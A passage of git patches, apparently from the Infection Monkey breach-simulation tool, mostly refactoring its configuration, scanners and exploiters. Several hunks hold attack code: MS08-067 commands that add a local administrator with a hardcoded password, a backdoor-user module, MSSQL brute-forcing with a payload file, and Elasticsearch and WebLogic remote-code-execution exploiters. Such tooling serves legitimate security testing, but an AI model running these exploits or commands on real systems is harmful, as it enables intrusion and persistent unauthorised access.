a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -133,7 +133,6 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = None finger_classes = [] exploiter_classes = [] diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..8e89bcc2a 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -64,7 +64,6 @@ "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, - "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index dc0ecada8..62cc4e641 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -27,7 +27,7 @@ ENCRYPTED_CONFIG_ARRAYS = \ # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ] From 3dfc7242aa10d74425067c545a7ecf4fdbba2000 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:34:14 +0300 Subject: [PATCH 091/201] Remove all usage of scanner_class --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7fe31da40..9c727d53f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -143,7 +143,7 @@ class InfectionMonkey(object): finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - 'scanner': WormConfiguration.scanner_class.__name__}) + }) # skip machines that we've already exploited if machine in self._exploited_machines: From 372ffeaa048d126bd26fba342f4a4ce2272ca2bb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 6 Jan 2019 17:00:34 +0200 Subject: [PATCH 092/201] Remove scanner class from schema --- monkey/monkey_island/cc/services/config_schema.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..fbbe21fe3 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -400,18 +400,6 @@ SCHEMA = { "title": "Classes", "type": "object", "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, "finger_classes": { "title": "Fingerprint classes", "type": "array", From c572e515a16aa9686cde05c65b5c1027f85494cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 6 Jan 2019 17:40:14 +0200 Subject: [PATCH 093/201] Let us properly fingerprint using ping --- monkey/infection_monkey/network/ping_scanner.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 075b57669..cad7e5bcb 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -59,10 +59,10 @@ class PingScanner(HostScanner, HostFinger): if regex_result: try: ttl = int(regex_result.group(0)) - if LINUX_TTL == ttl: - host.os['type'] = 'linux' - elif WINDOWS_TTL == ttl: + if (ttl > LINUX_TTL) and (ttl <= WINDOWS_TTL): host.os['type'] = 'windows' + if ttl <= LINUX_TTL: + host.os['type'] = 'linux' return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) From 68093d084f1867ae252a9e76bee6b3cd51cb4673 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 7 Jan 2019 10:58:20 +0200 Subject: [PATCH 094/201] Rename ms08_067_remote_user_add and ms08_067_remote_user_pass to something more generic --- monkey/infection_monkey/config.py | 4 ++-- monkey/infection_monkey/example.conf | 4 ++-- monkey/infection_monkey/exploit/win_ms08_067.py | 12 ++++++------ monkey/infection_monkey/post_breach/add_user.py | 6 +++--- .../system_info/windows_info_collector.py | 2 +- monkey/monkey_island/cc/services/config_schema.py | 8 ++++---- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8bf407d84..839a17018 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 66988720a..594ee62c7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,8 +57,8 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index 8551382b7..b8cb9a027 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -36,14 +36,14 @@ class BackdoorUser(object): def add_user_linux(): cmd_line = ['useradd', '-M', '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.ms08_067_remote_user_add] + WormConfiguration.user_to_add] retval = subprocess.call(cmd_line) return retval @staticmethod def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, - WormConfiguration.ms08_067_remote_user_pass, + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] retval = subprocess.call(cmd_line) return retval diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1348a6fcb..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e9d2ad2ce..52d829abf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -701,14 +701,14 @@ SCHEMA = { "default": 5, "description": "Number of attempts to exploit using MS08_067" }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", + "user_to_add": { + "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit" }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", + "remote_user_pass": { + "title": "Remote user password", "type": "string", "default": "Password1!", "description": "Password to use for created user" From 0bfde8d047eaac89878e08b853a2654881bc9610 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 7 Jan 2019 18:11:31 +0200 Subject: [PATCH 095/201] - adjusted config to mssql exploiter. --- monkey/monkey_island/cc/services/config_schema.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 52d829abf..2b789c1e6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -23,6 +23,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -670,6 +677,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From c47047c815da8dd8367dcc3223ca4580f430af9c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 16 Jan 2019 16:15:18 +0200 Subject: [PATCH 096/201] Added CMD prefix to windows commands that check for exploitability and upload monkey. --- .../infection_monkey/exploit/elasticgroovy.py | 21 +++++++++++++++++-- monkey/infection_monkey/model/__init__.py | 2 ++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 9eb64682b..2de001ba3 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE): return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None + + def check_if_exploitable(self, url): + # Overridden web_rce method that adds CMD prefix for windows command + try: + if 'windows' in self.host.os['type']: + resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + else: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False \ No newline at end of file diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 35a63f2a2..e6c2e63a5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" From dfe6cf073ed241d4ea07358fe79029a3544f962d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 15:13:48 +0200 Subject: [PATCH 097/201] - Added dynamic file creation on runtime instead of a static payload file --- monkey/infection_monkey/exploit/mssqlexec.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5c3c92600..1ffbd973e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -22,6 +22,21 @@ class MSSQLExploiter(HostExploiter): self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] + @staticmethod + def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + """ + This function creates dynamically the payload file to be transported and ran on the exploited machine. + :param payload_path: A path to the create the payload file in + :return: True if the payload file was created and false otherwise. + """ + try: + with open(payload_path, 'w+') as payload_file: + payload_file.write('dir C:\\') + return True + except Exception as e: + LOG.error("Payload file couldn't be created", exec_info=True) + return False + def exploit_host(self): """ Main function of the mssql brute force @@ -29,6 +44,9 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + + if not MSSQLExploiter.create_payload_file(): + return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) From 9e0fbdaac3cc703c5e396d080a664370545da6ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 16:09:40 +0200 Subject: [PATCH 098/201] - Updated dynamic payload file creation --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1ffbd973e..985394a29 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,3 +1,5 @@ +import os +import platform from os import path import logging @@ -15,15 +17,14 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] - @staticmethod - def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): """ This function creates dynamically the payload file to be transported and ran on the exploited machine. :param payload_path: A path to the create the payload file in @@ -34,7 +35,7 @@ class MSSQLExploiter(HostExploiter): payload_file.write('dir C:\\') return True except Exception as e: - LOG.error("Payload file couldn't be created", exec_info=True) + LOG.error("Payload file couldn't be created", exc_info=True) return False def exploit_host(self): @@ -45,7 +46,7 @@ class MSSQLExploiter(HostExploiter): """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - if not MSSQLExploiter.create_payload_file(): + if not self.create_payload_file(): return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): From c38793b52740a70cc84391d1181291d2cac742c5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 Jan 2019 13:59:00 +0200 Subject: [PATCH 099/201] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a53eb9c5b..6ab6813ce 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,8 @@ Setup ------------------------------- Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). +The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). + Building the Monkey from source ------------------------------- From 074aa1af5070ac5a8d69a5f275cec2df58349c23 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 24 Jan 2019 13:58:58 +0200 Subject: [PATCH 100/201] TCP scanner now sleeps in miliseconds instead of seconds. --- monkey/infection_monkey/network/network_scanner.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 8fd8c2b65..ccffcbbbb 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -107,7 +107,8 @@ class NetworkScanner(object): break if WormConfiguration.tcp_scan_interval: - time.sleep(WormConfiguration.tcp_scan_interval) + # time.sleep uses seconds, while config is in milliseconds + time.sleep(WormConfiguration.tcp_scan_interval/1000) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 6073e9f677c2d27df62841d5804c249f33764063 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 24 Jan 2019 17:28:44 +0200 Subject: [PATCH 101/201] Improved the speed of weblogic exploiter --- monkey/infection_monkey/exploit/weblogic.py | 36 ++++++++++++++++++--- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index ac78555af..98b20ad6c 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading import logging +import time __author__ = "VakarisZ" LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long to wait for a request to go to vuln machine and then to our server from there. In seconds +# How long should be wait after each request in seconds +REQUEST_DELAY = 0.0001 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 @@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE): print(e) return True - def check_if_exploitable(self, url): + def add_vulnerable_urls(self, urls): + """ + Overrides parent method to use listener server + """ # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() + exploitable = False + + for url in urls: + if self.check_if_exploitable(url, httpd): + exploitable = True + break + + if not exploitable and httpd.get_requests < 1: + # Wait for responses + time.sleep(REQUEST_TIMEOUT) + + if httpd.get_requests > 0: + # Add all urls because we don't know which one is vulnerable + self.vulnerable_urls.extend(urls) + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + else: + LOG.info("No vulnerable urls found, skipping.") + + self._stop_http_server(httpd, lock) + + def check_if_exploitable(self, url, httpd): payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: - # Our request does not get response thus we get ReadTimeout error + # Our request will not get response thus we get ReadTimeout error pass except Exception as e: LOG.error("Something went wrong: %s" % e) - self._stop_http_server(httpd, lock) return httpd.get_requests > 0 def _start_http_server(self): From 0feb19ede52f644eb2fbfaa1d4863d1571ebd42b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 26 Jan 2019 19:42:35 +0200 Subject: [PATCH 102/201] PEP8 stuff --- monkey/common/cloud/aws.py | 3 ++- monkey/monkey_island/cc/resources/exporter.py | 4 +--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index afb69c1fe..2b539de67 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -8,7 +8,8 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() - self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) + self.region = self._parse_region( + urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 1cf0c1b10..e79fabc07 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,6 +1,4 @@ - -class Exporter: - +class Exporter(object): def __init__(self): pass From 151ec3dbc9e63bdd5da95d7b7d1a1921882ce8ec Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 26 Jan 2019 20:11:38 +0200 Subject: [PATCH 103/201] Fix TTL split logic --- monkey/infection_monkey/network/ping_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index cad7e5bcb..cbaecedfb 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -59,10 +59,10 @@ class PingScanner(HostScanner, HostFinger): if regex_result: try: ttl = int(regex_result.group(0)) - if (ttl > LINUX_TTL) and (ttl <= WINDOWS_TTL): - host.os['type'] = 'windows' if ttl <= LINUX_TTL: host.os['type'] = 'linux' + else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. + host.os['type'] = 'windows' return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) From ef0ccc9cc967d54dd121806d4738cd2391395d30 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 8 Feb 2018 17:41:55 +0200 Subject: [PATCH 104/201] Add thread ID logging to the configuration log. --- monkey/infection_monkey/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index be45afce4..453c155b5 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -21,7 +21,7 @@ LOG = None LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, 'formatters': {'standard': { - 'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, + 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', From 96cc4edba93d17258b4da39348e831328b64bbc4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 14:45:42 +0300 Subject: [PATCH 105/201] Domain name translation fully implemented and displayed in map and report --- monkey/common/network/network_range.py | 29 ++++++++++++++++++- monkey/infection_monkey/model/host.py | 3 +- .../network/network_scanner.py | 6 +++- .../monkey_island/cc/resources/telemetry.py | 6 ++-- monkey/monkey_island/cc/services/node.py | 14 ++++++--- 5 files changed, 49 insertions(+), 9 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index a2142ce0e..3adace9bc 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,9 +5,13 @@ from abc import ABCMeta, abstractmethod import ipaddress from six import text_type +import logging +import re __author__ = 'itamar' +LOG = logging.getLogger(__name__) + class NetworkRange(object): __metaclass__ = ABCMeta @@ -111,7 +115,7 @@ class IpRange(NetworkRange): class SingleIpRange(NetworkRange): def __init__(self, ip_address, shuffle=True): super(SingleIpRange, self).__init__(shuffle=shuffle) - self._ip_address = ip_address + self._ip_address, self.domain_name = self.string_to_host(ip_address) def __repr__(self): return "" % (self._ip_address,) @@ -121,3 +125,26 @@ class SingleIpRange(NetworkRange): def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] + + @staticmethod + def string_to_host(string): + """ + Converts the string that user entered in "Scan IP/subnet list" to dict of domain name and ip + :param string: String that was entered in "Scan IP/subnet list" + :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) + """ + # The most common use case is to enter ip/range into "Scan IP/subnet list" + domain_name = '' + ip = string + + # If a string was entered instead of IP we presume that it was domain name and translate it + if re.search('[a-zA-Z]', string): + try: + ip = socket.gethostbyname(string) + domain_name = string + except socket.error: + LOG.error( + "You'r specified host: {} is neither found as domain name nor it's an IP address".format(string)) + return socket.error + return ip, domain_name + diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 00bf08053..592cb290a 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -2,8 +2,9 @@ __author__ = 'itamar' class VictimHost(object): - def __init__(self, ip_addr): + def __init__(self, ip_addr, domain_name=''): self.ip_addr = ip_addr + self.domain_name = domain_name self.os = {} self.services = {} self.monkey_exe = None diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index d3a37d48c..8dd429d39 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -7,6 +7,7 @@ from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.model import VictimHost from infection_monkey.network import HostScanner from infection_monkey.network import TcpScanner, PingScanner + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -78,7 +79,10 @@ class NetworkScanner(object): for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) for ip_addr in net_range: - victim = VictimHost(ip_addr) + if hasattr(net_range, 'domain_name'): + victim = VictimHost(ip_addr, net_range.domain_name) + else: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index b88acbac6..be363ce33 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource): @staticmethod def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) dst_node = NodeService.get_monkey_by_ip(dst_ip) if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip) + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) @@ -144,6 +145,7 @@ class Telemetry(flask_restful.Resource): edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = copy.deepcopy(telemetry_json['data']['machine']) ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") new_scan = \ { "timestamp": telemetry_json["timestamp"], @@ -153,7 +155,7 @@ class Telemetry(flask_restful.Resource): mongo.db.edge.update( {"_id": edge["_id"]}, {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address}} + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} ) node = mongo.db.node.find_one({"_id": edge["to"]}) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 1f9b68ebe..77bdf6ed7 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -41,6 +41,7 @@ class NodeService: # node is uninfected new_node = NodeService.node_to_net_node(node, for_report) new_node["ip_addresses"] = node["ip_addresses"] + new_node["domain_name"] = node["domain_name"] for edge in edges: accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))) @@ -62,7 +63,9 @@ class NodeService: @staticmethod def get_node_label(node): - return node["os"]["version"] + " : " + node["ip_addresses"][0] + if node["domain_name"]: + node["domain_name"] = " ("+node["domain_name"]+")" + return node["os"]["version"] + " : " + node["ip_addresses"][0] + node["domain_name"] @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): @@ -137,6 +140,7 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], + "domain_name": "" } @staticmethod @@ -176,10 +180,11 @@ class NodeService: upsert=False) @staticmethod - def insert_node(ip_address): + def insert_node(ip_address, domain_name=''): new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], + "domain_name": domain_name, "exploited": False, "creds": [], "os": @@ -191,10 +196,10 @@ class NodeService: return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod - def get_or_create_node(ip_address): + def get_or_create_node(ip_address, domain_name=''): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: - new_node = NodeService.insert_node(ip_address) + new_node = NodeService.insert_node(ip_address, domain_name) return new_node @staticmethod @@ -261,6 +266,7 @@ class NodeService: def 